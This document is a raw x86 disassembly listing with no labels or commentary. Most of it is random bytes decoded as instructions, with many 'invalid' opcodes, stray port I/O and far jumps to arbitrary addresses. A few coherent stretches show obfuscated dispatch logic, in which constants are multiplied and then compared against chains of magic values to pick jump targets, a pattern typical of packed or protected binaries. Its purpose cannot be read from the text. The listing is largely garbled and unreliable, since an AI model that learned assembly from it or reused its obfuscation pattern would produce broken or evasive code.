push esp
cmp eax, 0xfc4d3a70
xchg ebp, eax
add edx, dword [ecx]
fstp xword [esi + 0x59]
pop ebp
push esp
mov dh, 0x26
or byte [eax], dl
push ds
cmp eax, 0xd40c7798
xor byte [0x8fa03a2e], dl
adc al, cl
mov edi, 0x5b3ae14e
mov ch, 0xdd
pop ds
enter 0x4ebf, 0xffffffffffffffe1
cmp bl, byte [ebx - 0x4b]
fstp qword [edi]
dec ebx
push es
sal byte [ecx + 0x39], cl
fimul dword [ecx - 0x7aa6986]
loope 0x67b1dece
and al, 0xea
mov cl, 0x66
rcr ebx, cl
test ch, 0xcb
xchg dword [edi], ebp
adc al, 0x6f
or byte [eax], 0x4b
adc dword [esi], esp
nop
int3
pushal
xor eax, 0x6b
or cl, byte [edx - 0x2d]
loop 0x67b1dee7
add byte [esi - 5], dl
dec ebp
inc edi
popfd
add al, 0xf3
movsd dword es:[edi], dword [esi]
sahf
lodsb al, byte [esi]
int1
aaa
xlatb
mov ch, 0xcd
hlt
add byte [ebx], ch
push ss
sub edx, dword [esi]
xchg edx, eax
into
pop edi
sahf
stc
stosb byte es:[edi], al
cld
cmpsb byte [esi], byte es:[edi]
xor al, 0xba
mov edx, 0x8950562a
cmp ebp, dword [esi - 0xe]
mov esp, 0xec0e6322
int1
jmp 0x67b1e54d
sahf
rol byte es:[ebp - 0xe276842], 1
adc eax, 0x262a9720
xchg esi, eax
jmp 0x67b1e52e
mov dword [0xfb43d047], eax
inc esi
shl dword [ebp + 0x15e87c8], 1
ja 0x67b1eb60
fisttp qword [esp + ecx*2]
dec eax
dec ecx
cmp eax, esi
test al, 0x5e
popfd
dec eax
sbb byte ss:[edi - 0x21ec0ae3], cl
or byte [eax - 0x6a], 0x66
clc
dec edi
scasb al, byte es:[edi]
in al, dx
push es
imul dword [ebp + 0x59]
insb byte es:[edi], dx
aas
das
xchg ch, bh
cdq
invalid
and al, 0xf
adc esi, dword [ebp - 0x28]
dec esp
mov al, 0x1f
cmp byte [edi - 0x1875f49f], 0x91
sbb esp, dword [edi + 0x4c]
nop
int3
xchg byte [edx - 0x49], al
adc ecx, esp
jp 0x67b1f10f
push edi
mov ah, 0x87
jae 0x67b1f16f
frstor dword [eax + 0x2ec820ef]
in al, dx
inc esp
cwde
mov al, 0x41
imul byte [eax]
retf 0x7fe7
invalid
invalid
add byte [esp + eax*4 + 0x42], ah
sub byte [edx - 0x675eaa6b], 0x4b
invalid
test byte fs:[edx - 0x7e], al
stosb byte es:[edi], al
xchg ebp, eax
push ebp
mov eax, dword [0x6e8f4b98]
rcr bl, 1
adc al, byte [edi + ebx*2 + 0x1c1db0ef]
dec eax
add dword [ecx], esp
ja 0x67b1f6d1
and ah, byte [ecx]
ja 0x67b1f72e
push es
nop
test dword [ebx - 0x69e9bce], 0xcf13cd1b
stc
sbb ecx, ebp
adc ecx, edi
jmp 0x185e5cae
wait
push edx
wait
jnp 0x67b1f6f7
nop
int3
ficom word [ebx + esi - 0x3a]
arpl word [edx - 0x2eac544], bp
xor byte [0xc571bd01], bl
dec ecx
fild word [ebp + 0x36e0a297]
pop ss
xor byte [ecx + 0x31], dl
mov ebp, 0x641e2ed5
sahf
cmp eax, 0x947f8ebd
adc al, 0xdf
into
mov eax, dword [0xd97ac576]
jecxz 0x67b1fce9
iretd
popfd
call 0x3ff61849
push ebp
nop
push ds
jp 0x67b1fd4a
ljmp 0x1874:0x7b0ecdaa
push esi
test al, al
sbb ebx, esp
cmovae ebx, dword [edx + 0xd67d76a]
fcompi st(1)
mov byte [esi + 0x14127394], ah
xor eax, 0x367a589
xchg esp, eax
int3
pop eax
in eax, 0x6c
mov cl, ch
sti
nop
lodsb al, byte [esi]
adc eax, 0x6e9b6c21
stc
inc ecx
adc dword [eax + esi*8 + 0xd], ecx
aam 0x50
inc ecx
or al, 0x72
sub dword [ebp + 9], edi
loop 0x67b20260
cmp al, 0x14
xchg dword [esi + 0x7d46e54c], ebp
jecxz 0x67b20295
pop ss
iretd
pop ebx
loop 0x67b20245
cwde
jle 0x67b202d1
pop ds
fild qword [esi + 0x68]
cmp dword [ecx + 0x5f], edx
lahf
and byte [ebx + 0x49], dl
loope 0x67b202c0
outsd dx, dword [esi]
push 0xffffffffffffff98
outsd dx, dword [esi]
sub dh, byte [ebx - 0x22644ffc]
fimul dword [eax - 0x1e7cd171]
and bh, byte [ebx - 0x56]
mov esi, 0x4568d898
loop 0x67b20258
xchg edi, eax
loopne 0x67b2032a
aaa
inc ebp
pop ds
xchg ecx, eax
test dword [edi - 0x18a5df1c], ebx
cmc
fsubr qword [ebp - 0x17fbd0b3]
dec ebp
das
add al, 0xe8
invalid
or dword [esi + 0x6afa07a0], ebx
nop
lcall 0x97e3, 0x4f6efca2
stc
mov ch, cl
lea ebp, [ebp - 0x43bf63dd]
sub dword [edi - 0x46353ece], edi
loope 0x67b2038d
test byte [esi + 0x7a], ch
cmp al, 0x44
pop ebp
popal
enter 0x7d66, 0xffffffffffffffc2
mov eax, dword [0x5e98729b]
pop esi
push 0x34
add ebp, dword [eax - 0x21]
pop esp
inc eax
xor dl, byte [eax - 0x43ca633c]
pushal
jle 0x67b20395
dec esi
inc ebx
into
mov eax, 0xed098e4d
test al, 0x8e
add bh, byte [edx]
jbe 0x67b20330
dec ecx
test dword [edx - 0x5ed08626], 0xa94632a2
jns 0x67b2037e
mov eax, dword [0xa94632a2]
in eax, 0xd7
mov esi, 0xcc90f7f4
call 0xf32af94a
frstor dword [esi + 0x5a0ebba9]
jl 0x67b203a6
loopne 0x67b203d5
jmp 0x67b202fa
je 0x67b203f9
sub byte [0x34f0e4bd], dh
inc ebx
invalid
invalid
jg 0x67b2034d
mov bh, 0xc4
invalid
invalid
das
inc ecx
push edi
mov ebx, 0x74fbeb8
popal
pop ecx
hlt
jno 0x67b20393
das
sal dword [edx + edi - 0x47], cl
xchg edi, eax
invalid
sub byte [0x9bdff075], dh
test dword [edx - 0x4d], ebp
sub byte [edx - 0x48], dh
call 0x93a89def
sar byte [eax + 0x6475166a], 1
cwde
jmp 0x67b20470
xor dword cs:[ebp + 0xa], edx
lodsb al, byte [esi]
cmp eax, 0xa3565136
push 0xffffffffffffff83
xor edx, eax
inc ecx
test dword [ecx + 0x52], eax
invalid
inc esp
adc byte [edx - 0x63], ch
jnp 0x67b20491
test dh, 0xd6
pop ebp
add al, 0xeb
je 0x67b2042d
sub byte [edx], cl
or esp, edx
ror dword [edx], 1
outsb dx, byte [esi]
dec edx
test al, 0x27
mov byte [ebp - 0x20f52b2e], al
jb 0x67b2047d
leave
inc esi
xor byte [ebp - 0x23e62d2a], bl
dec ecx
aaa
in al, dx
sub dword [eax], 0xf241e96b
jbe 0x67b20472
imul ebp, ecx, 0x41
bnd jbe 0x67b20472
mov dl, 0x52
xor dword [eax + 0x7baf56cc], edx
test eax, 0xd4e0ef02
and bh, byte [eax + 0x34]
js 0x67b204c7
push ebp
add dword es:[eax + 0x57], esi
cmp al, 0xfd
test byte [edx], 0xcc
add dword [0xe5bf43c], eax
mov cl, 0x3f
or edi, ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
push ecx
or byte [ebp - 0x5d57aa66], dh
adc ch, byte [eax - 0x66]
jbe 0x67b2044d
aas
aaa
inc eax
int1
inc ebx
iretd
fistp word [ebx]
fcmovu st(0), st(1)
pop edx
xchg ecx, eax
adc dword [ebp - 0x38], 0x48a3db55
and esi, eax
sub bl, ah
stosb byte es:[edi], al
nop
xchg edi, eax
add edx, ebp
test eax, 0x7b52e3cb
sub eax, dword [ebp + 0x5c]
lodsd eax, dword [esi]
or ch, al
nop
int3
mov dword [0x8e593700], eax
jge 0x67b20881
lds ebp, [0xdc248df6]
add al, 0x43
fadd qword [ebx + eax*2]
mov bl, bh
adc al, 0x78
dec esi
inc esi
cld
retf 0x32fe
dec esp
or ebx, dword [esi]
and esi, dword [eax + 0xb716f46]
ror byte [edi + edi + 0x307f18af], cl
pop eax
mov ebp, 0x828e215b
invalid
add eax, 0xdfef48b
jg 0x67b214ae
test dword [esi], ebx
mov esi, 0x51bc7be2
int3
mov eax, dword [0xe566e3a7]
add dword [ebx + 0x6f], edx
pop edi
lodsd eax, dword [esi]
cwde
cld
xchg edx, eax
invalid
nop
jmp 0x67b21a19
nop
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x67b22ce7
mov dword [ebp - 0x1e0], 0x92e59
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1e8], 0x2727d
mov dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x1dc]
imul eax, dword [ebp - 0x1e8]
mov edx, eax
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x1e0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1e0]
mul dword [ebp - 0x1e8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x1f0]
xor eax, 0x77d14375
mov edx, dword [ebp - 0x1ec]
xor edx, 0x16
or eax, edx
je 0x67b22cdb
mov edx, 0x77d14375
mov eax, 0x16
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67b22ce1
mov eax, dword [ebp - 0x1f0]
xor eax, 0x7dd4b
or eax, dword [ebp - 0x1ec]
je 0x67b226fd
mov edx, 0x7dd4b
mov eax, 0
cmp edx, dword [ebp - 0x1f0]
sbb eax, dword [ebp - 0x1ec]
jl 0x67b22ce1
mov eax, dword [ebp - 0x1f0]
xor eax, 0x1353d
or eax, dword [ebp - 0x1ec]
je 0x67b21b3b
invalid
mov eax, dword [ebp - 0x1f0]
xor eax, 0x168a3
or eax, dword [ebp - 0x1ec]
je 0x67b2211c
jmp 0x67b22ce1
jae 0x67b21b84
fstp xword [edx]
dec ecx
salc
and eax, 0x539c332a
dec ecx
adc dh, bl
mov dword [edx + 5], esi
fnstenv cs:[esi + 0x28]
rcr dword [esp + edi*8 - 0x67], 1
pushal
cmpsb byte [esi], byte es:[edi]
cdq
add eax, 0xdaf052ab
dec esi
lea esi, [eax]
xor edi, dword [ebx - 0x1f]
inc esp
pop eax
fstp qword [esi - 0x2bc7e072]
jne 0x67b21b56
ja 0x67b21b83
fidiv dword [edx + 0x65]
int1
out dx, al
jle 0x67b21b1b
cmpsd dword [esi], dword es:[edi]
pushfd
sub dword [edx + edi*8], edi
add al, byte [ebx]
xchg esi, eax
adc byte [edx - 0x4a02f985], dl
jnp 0x67b21b88
std
mov ch, 0x21
and ah, dl
and byte [edi + 0x5e], al
and dword [eax], esp
aam 0x20
inc edi
pop esi
jge 0x67b21bcc
cmp al, 0x72
pop eax
int3
xor al, 3
jb 0x67b21b80
lodsd eax, dword [esi]
iretd
mov ebp, 0x19802676
invalid
test eax, 0xa0a9d7d9
push eax
inc esp
jns 0x67b220e4
xor eax, 0x18184a3e
adc dword [esi], edi
xchg ebp, eax
stc
scasd eax, dword es:[edi]
out dx, al
pop ds
sar byte [esi + 0x16], cl
pop ecx
call 0x30d5636f
jae 0x67b22152
bound ebp, qword [edi - 0x49]
iretd
dec ebp
pop edx
sbb dl, byte [edx]
out 0x46, al
or bh, byte [edi + 0x67d0e027]
adc eax, 0x873457ef
mov al, dh
cmpsb byte [esi], byte es:[edi]
leave
sub edx, dword [eax]
add byte [eax], ch
sub esi, dword [ebx + 0x42099967]
fsub st(0)
push edx
stosb byte es:[edi], al
cmc
sub eax, 0x741ef145
lodsb al, byte [esi]
sbb byte [edx], cl
nop
int3
outsd dx, dword [esi]
push esp
cdq
sub ah, ch
push esp
std
cmp dword [ecx + ebx*8 + 0x61], ebp
mov edx, 0x50320a39
test eax, 0xa77a8489
out dx, al
invalid
nop
jmp 0x67b536db
nop
jmp 0x67b536db
movzx eax, word [ebp - 0xa]
cmp ax, word [ebp - 0x2a]
jne 0x67b23995
mov dword [ebp - 0x1c8], 0xaa36e
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1d0], 0xf3505
mov dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x1c4]
imul eax, dword [ebp - 0x1d0]
mov edx, eax
mov eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x1c8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1c8]
mul dword [ebp - 0x1d0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0x1d8]
xor eax, 0xc77cf726
mov edx, dword [ebp - 0x1d4]
xor dl, 0xa1
or eax, edx
je 0x67b23989
mov edx, 0xc77cf726
mov eax, 0xa1
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67b2398f
mov eax, dword [ebp - 0x1d8]
xor eax, 0xf6c0
or eax, dword [ebp - 0x1d4]
je 0x67b233ab
mov eax, dword [ebp - 0x1d8]
xor eax, 0x55a1d
or eax, dword [ebp - 0x1d4]
jne 0x67b2398f
out 0x9e, eax
pop ebp
jae 0x67b22e46
cmp al, 0x6c
invalid
push ss
sbb ax, 0x7232
hlt
push 0x31826e80
mov ch, 0xd0
pop ecx
sub dword [edi], 0xffffffb9
jb 0x67b22e75
adc al, 0xcd
cmp al, 0x4f
les edx, [ecx + edx*4]
jle 0x67b22e11
fcmovnu st(0), st(5)
pop ebp
xchg byte [edx + 0x3f], dl
mov bl, 0x34
stosb byte es:[edi], al
dec eax
adc byte [ecx], al
jno 0x67b22ece
movsb byte es:[edi], byte [esi]
push edx
ljmp 0xfb1c
mov al, 0xe7
adc dword [edx + eax*2 + 0x1adde2ee], edi
fld st(4)
sub esp, dword [eax + 0x55e2f85e]
xor al, 0xd5
sbb byte [ebx + edi], 0x21
cmp al, 0x8f
and al, 0x7c
nop
int3
dec eax
inc ecx
sub eax, 0xe7ca788c
push esi
clc
pop edi
pop esp
mov dword [0xb937fe63], eax
lahf
cli
inc ecx
dec edi
xor byte [ecx - 0x7a], bh
and byte [ebx - 0x392debcf], 0xf3
jp 0x67b22f62
ljmp 0xcc90:0x6c61f1f5
cmp byte [esi - 0x49], 7
retf 0x56c5
pushfd
mov ch, 0x2f
nop
int3
dec edi
jno 0x67b233a1
dec esi
inc eax
invalid
nop
jmp 0x67b2f760
nop
jmp 0x67b2f760
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0xa], ax
cmp word [ebp - 0xa], 0
jne 0x67b2524f
mov dword [ebp - 0x1b0], 0x57fee
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1b8], 0xabea0
mov dword [ebp - 0x1b4], 0
mov eax, dword [ebp - 0x1b8]
mov edx, dword [ebp - 0x1b4]
sub eax, dword [ebp - 0x1b0]
sbb edx, dword [ebp - 0x1ac]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0x1c0]
xor eax, 0xf0b14
or eax, dword [ebp - 0x1bc]
je 0x67b24684
mov edx, 0xf0b14
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67b25243
mov eax, dword [ebp - 0x1c0]
xor eax, 0x53eb2
or eax, dword [ebp - 0x1bc]
je 0x67b25249
mov edx, 0x53eb2
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67b25243
xchg ebp, eax
inc eax
invalid
mov eax, dword [ebp - 0x1c0]
xor eax, 0x100ea
or eax, dword [ebp - 0x1bc]
je 0x67b23ac2
mov edx, 0x100ea
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67b25243
mov eax, dword [ebp - 0x1c0]
xor eax, 0x703d
or eax, dword [ebp - 0x1bc]
je 0x67b24c65
test dword [esi + edi*8 - 1], eax
dec dword [edi]
test byte [edi - 0x74ffffef], bh
test dword [eax - 2], eax
invalid
mov eax, dword [ebp - 0x1c0]
xor eax, 0xf73c
or eax, dword [ebp - 0x1bc]
je 0x67b240a3
jmp 0x67b25243
adc dword [edi], 0x1af10000
outsd dx, dword [esi]
xlatb
int1
sbb ch, byte [edi - 0x29]
imul esi, dword [eax - 0x40], 0x390b5d56
loope 0x67b23a4f
arpl word [esi + ecx + 0x6c2c9dad], si
jl 0x67b23abe
sub bh, 0xea
xor dword [edi - 0x60], 0xf70898dd
lodsb al, byte [esi]
ror eax, 1
rcr dword [ecx + ebx - 0x5852de1], 0xfc
dec esi
push ds
mov bh, 0xa6
enter 0xffffffffffffa75b, 0xffffffffffffffba
loopne 0x67b23a9b
and eax, 0xc30be44
add bl, byte [esi]
sub eax, 0x9a245ae6
jp 0x67b23b3d
mov al, 0x47
aad 0xa8
sub eax, 0xb1dd6e61
fisub word [ecx]
inc ebp
scasd eax, dword es:[edi]
outsd dx, dword [esi]
and dl, dh
fld qword [ebp + 0x5c]
xchg edx, eax
pop esp
in al, 0xad
scasb al, byte es:[edi]
xor byte [ebp - 0x6f089e9e], ah
int3
into
popfd
pop esi
invalid
dec esi
xchg ebp, eax
aad 0x36
idiv byte [ebx]
lds eax, [edi + 0x33db17d6]
ret 0x7ea8
bound ebx, qword es:[ecx]
adc eax, 0x3b23d75c
mov ebp, 0x5385f89c
scasd eax, dword es:[edi]
ror byte [ecx], 0xd3
dec esp
imul ebx, dword [edi + edx*2 - 0x3a], 0x8c9aa98f
or eax, dword [ebp + 0x368c6438]
xchg ecx, eax
xchg ebx, esp
ret
inc esp
dec ebp
fcompi st(0)
add byte [eax], al
cld
and byte [ebx], cl
sbb byte [edx - 9], cl
imul eax, dword [esi + 0x6f254c97], 0x12
fistp qword [eax - 0x3188c414]
fucomp st(7)
push cs
pop edx
dec edx
jbe 0x67b24ca9
sbb dword [edx], esi
mov ebx, 0x75f4cae0
popfd
hlt
adc al, 0xb2
mov dh, byte [esi]
sahf
loope 0x67b24c27
mov esi, 0x33a3a154
invalid
shl byte [eax - 0x1e7a91bc], cl
sub eax, 0xfbbf1e32
pop ebx
adc dword es:[edx], ecx
dec esi
or bh, byte [ecx + edi*2]
xor bl, byte [esi]
mov edi, 0x11265bfb
or cl, byte [esi + 0xa]
cmp al, 0x79
jne 0x67b24ca2
and eax, 0x23c3e518
cmpsb byte [esi], byte es:[edi]
neg byte [0xbb5950e6]
lds esp, [edx]
inc eax
xchg dword [eax - 0x39011734], edx
cmpsb byte [esi], byte es:[edi]
inc eax
int1
push edx
sbb al, 0x3a
pushal
adc eax, 0x45ea2b21
outsb dx, byte [esi]
sbb eax, 0xd490d44c
lea eax, [edi + 0x29]
or dword [ebx - 0x56], ebx
movsd dword es:[edi], dword [esi]
invalid
nop
jmp 0x67b536db
nop
jmp 0x67b536db
mov dword [ebp - 0x198], 0x65399
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x1a0], 0x99c74
mov dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x1a0]
mov edx, eax
mov eax, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x198]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x198]
mul dword [ebp - 0x1a0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x1a8]
xor eax, 0xce301d54
mov edx, dword [ebp - 0x1a4]
xor edx, 0x3c
or eax, edx
je 0x67b2b400
mov edx, 0xce301d54
mov eax, 0x3c
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xebe23
or eax, dword [ebp - 0x1a4]
je 0x67b27939
mov edx, 0xebe23
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xe999f
or eax, dword [ebp - 0x1a4]
je 0x67b290bd
mov edx, 0xe999f
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xe63db
or eax, dword [ebp - 0x1a4]
je 0x67b284fb
mov edx, 0xe63db
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xe5514
or eax, dword [ebp - 0x1a4]
je 0x67b29c7f
mov edx, 0xe5514
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xce1c9
or eax, dword [ebp - 0x1a4]
je 0x67b26d77
mov edx, 0xce1c9
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xae2a0
or eax, dword [ebp - 0x1a4]
je 0x67b2a841
mov edx, 0xae2a0
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0xa77fc
or eax, dword [ebp - 0x1a4]
je 0x67b261b5
mov edx, 0xa77fc
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x9d602
or eax, dword [ebp - 0x1a4]
je 0x67b2a260
mov edx, 0x9d602
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x9a7af
or eax, dword [ebp - 0x1a4]
je 0x67b2969e
mov edx, 0x9a7af
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x7e20e
or eax, dword [ebp - 0x1a4]
je 0x67b27f1a
mov edx, 0x7e20e
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x5f8f1
or eax, dword [ebp - 0x1a4]
je 0x67b27358
mov edx, 0x5f8f1
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x5d807
or eax, dword [ebp - 0x1a4]
je 0x67b255f3
mov edx, 0x5d807
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x40016
or eax, dword [ebp - 0x1a4]
je 0x67b28adc
mov edx, 0x40016
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x369ae
or eax, dword [ebp - 0x1a4]
je 0x67b26796
mov edx, 0x369ae
mov eax, 0
cmp edx, dword [ebp - 0x1a8]
sbb eax, dword [ebp - 0x1a4]
jl 0x67b2b403
mov eax, dword [ebp - 0x1a8]
xor eax, 0x1e02
or eax, dword [ebp - 0x1a4]
je 0x67b2ae22
mov eax, dword [ebp - 0x1a8]
xor eax, 0x35a40
or eax, dword [ebp - 0x1a4]
je 0x67b25bd4
jmp 0x67b2b403
cmpsd dword [esi], dword es:[edi]
test ebx, ecx
dec esp
inc esi
mov eax, 0xf52da102
push ecx
rol al, 1
or al, 0x6b
mov esp, 0xb8b90d36
invalid
sbb ebp, dword [esi - 0x6f6a57c5]
cld
fisttp dword [edi + ebx*4 + 0x49c36cbd]
nop
int3
pop esi
inc edx
outsd dx, dword [esi]
js 0x67b25c0a
fbld tbyte [0x2570af07]
popal
inc edx
aad 0x1e
pop ecx
scasd eax, dword es:[edi]
mov edi, 0x74380ebc
stosd dword es:[edi], eax
cdq
push 0x3962beaf
mov dword [0x56471490], eax
push 0x6713c74c
test byte [eax - 0x23268caf], 0x27
popal
jp 0x67b25bbf
daa
sub byte [ebx], cl
salc
or edx, esi
adc dword [edi + esi*4 - 0x57b13fe5], esi
sub ah, byte [ebp + 0x3c]
movsd dword es:[edi], dword [esi]
into
fisubr dword [ebx + ebx*2]
invalid
scasd eax, dword es:[edi]
adc byte [esi + 0xf3691ca], 0xac
or byte [ebp - 0x41], bl
sbb ecx, dword [esp + eax*4 + 0x35]
popfd
ficomp word [0xa0ede33f]
int3
sbb eax, 0x503b5ede
mov eax, dword [0x5a05e52f]
mov ecx, 0xf06c6dce
sbb al, 0x34
test esp, edx
xchg ebp, eax
int 8
cmp bl, byte [ebp - 0x113a940f]
and al, byte [edx]
cli
sbb byte [ecx], bl
lodsb al, byte [esi]
xchg esi, eax
or dword [eax + 0x47efbeda], edi
push edi
and eax, ecx
add byte [eax + 0x429f0c1f], dh
push ecx
mov ah, 0x9b
retf 0x3e9f
add cl, dl
xchg ebp, eax
mov cl, 0xf0
fstp dword [0x7805cb4e]
and byte [ebx], dh
xor eax, 0xa786d79c
sal esp, 1
lcall 0xd346, 0x3aea8fc1
pop ebx
int1
retf 0xe5c9
int3
rcr dh, cl
xchg esi, eax
xchg eax, esi
sbb eax, 0xc4c6b521
jecxz 0x67b26cd5
push esp
pop ecx
jmp 0xdfda71b2
jbe 0x67b26d97
jl 0x67b26d01
push ecx
push edi
sahf
jnp 0x67b26d20
inc ebp
xchg ebx, eax
test byte [ecx + 0x67], ch
mov eax, 0x15d4c3bd
mov bl, 0x4e
dec eax
and dword [ebx], ecx
jle 0x67b26daf
or eax, 0x1345021a
dec ecx
pop ds
add byte [eax - 0x5f077383], al
push edx
push 0xffffffffffffffe4
out 0xe, eax
sub al, 0x18
add eax, 0x40d2ea88
fistp qword [ecx - 0x80]
mov edx, 0xf9ce14a3
fbstp tbyte [eax]
test eax, 0x672ab4ec
dec edx
out dx, al
dec ebp
jbe 0x67b26dcb
mov ah, 0x52
test byte [ebx - 0x43], ch
sbb dword [ecx + 0x35378424], ebp
outsd dx, dword [esi]
mov edi, 0x9ec2c38e
push 0x7a
invalid
xor eax, 0xc38ebf6f
ret 0x6a9e
popal
pop ecx
inc ebx
sbb esp, dword [edx + 0x4b]
cmpsd dword [esi], dword es:[edi]
inc esi
ljmp 0x952c
mov al, byte [0x2281dad7]
inc esp
fnstsw word [esi]
pop es
out 0x99, eax
mov dword [0xd7b20fc6], eax
lea eax, [ebp + 0x72]
invalid
bound ebp, qword [esi - 8]
fmul dword [edx + 0x58]
jl 0x67b27911
syscall
mov byte [0xf54f7bf1], al
aam 0xe5
or al, 0x9d
leave
rol cl, 0x7a
fcomp dword [ebx - 0x1023b19c]
salc
add eax, 0x14812ab9
dec ebp
xchg edx, eax
clc
dec esi
out dx, al
pop ss
hlt
xchg edi, eax
mov dh, 0x7f
invalid
invalid
int1
xchg ebp, eax
pushfd
invalid
add esi, dword [ebx + 0x1b]
push eax
out dx, al
rol eax, 1
iretd
insd dword es:[edi], dx
jmp 0x67b28492
int3
sti
or eax, 0xa86ad110
jl 0x67b2849d
xchg ebx, eax
and byte [ecx], bh
js 0x67b284a3
sub dword [esi], ebx
mov dword [0x2a099f1c], eax
loopne 0x67b284f5
xchg ebp, eax
pop ds
cmp esp, dword [eax]
jno 0x67b2856c
mov al, 0xd5
lodsd eax, dword [esi]
cdq
and byte [ecx + 0x385d4f96], bl
test al, 0xa7
sbb bh, byte [eax - 0x5c]
mov eax, dword [0x6f28bb4f]
js 0x67b284dc
salc
or esi, dword [eax]
invalid
or eax, 0xc2309f20
mov word [ebp - 0x3b], ds
sub dword [eax + ebp*2], 0x4b256ff3
hlt
mov esi, 0x5253727e
or esi, ebx
mov dl, 0xeb
sub esp, dword [eax - 0x6d]
adc eax, 0x6dfd8313
sub ebx, dword [ebx]
salc
xchg ecx, eax
loopne 0x67b28544
cli
fild word [eax]
mov dl, 0x4a
fisttp dword [ebx + 0x324b0701]
in al, dx
and dword [eax - 0x2d], 0x1c
inc ecx
push ebp
and ax, 0x50fb
jmp 0xb91d2dea
sbb byte [edx + 0x5c], al
push ecx
sbb byte [esi - 0x69], cl
mov bh, byte [ecx]
fimul word [ecx - 0x6f71691e]
int3
jle 0x67b28b1f
ret
dec eax
xchg bx, ax
pop esi
xor dl, ah
mov dh, byte [ecx]
add eax, dword [esi + 0x70]
mov dh, 0xbb
push es
inc esi
sbb byte [esi + 0x1d7fece1], al
int1
push 0xffffffffffffffe0
push edx
jo 0x67b28ac7
sar esp, 0x48
push cs
nop
int3
movsb byte es:[di], byte [si]
scasb al, byte es:[edi]
imul edi, dword [ebx - 0x80], 0x2a
push eax
insb byte es:[edi], dx
mov al, 0x16
cmc
les edx, [edx + 0x2f]
inc ebx
cwde
sub al, 0x78
mov byte [esi - 0x74], cl
into
mov bl, 0x7b
div ch
ficom dword [esi - 0x39]
mov al, byte [ebx + 0x1857235a]
lodsb al, byte [esi]
rcl byte [edi + 0x473c5130], 1
sti
mov esp, 0x9cd98495
loope 0x67b2911e
xor dl, ch
pop es
cmp al, 0x5e
xchg esi, eax
lodsb al, byte [esi]
pushfd
mov ebx, 0x93892fdd
pop ebx
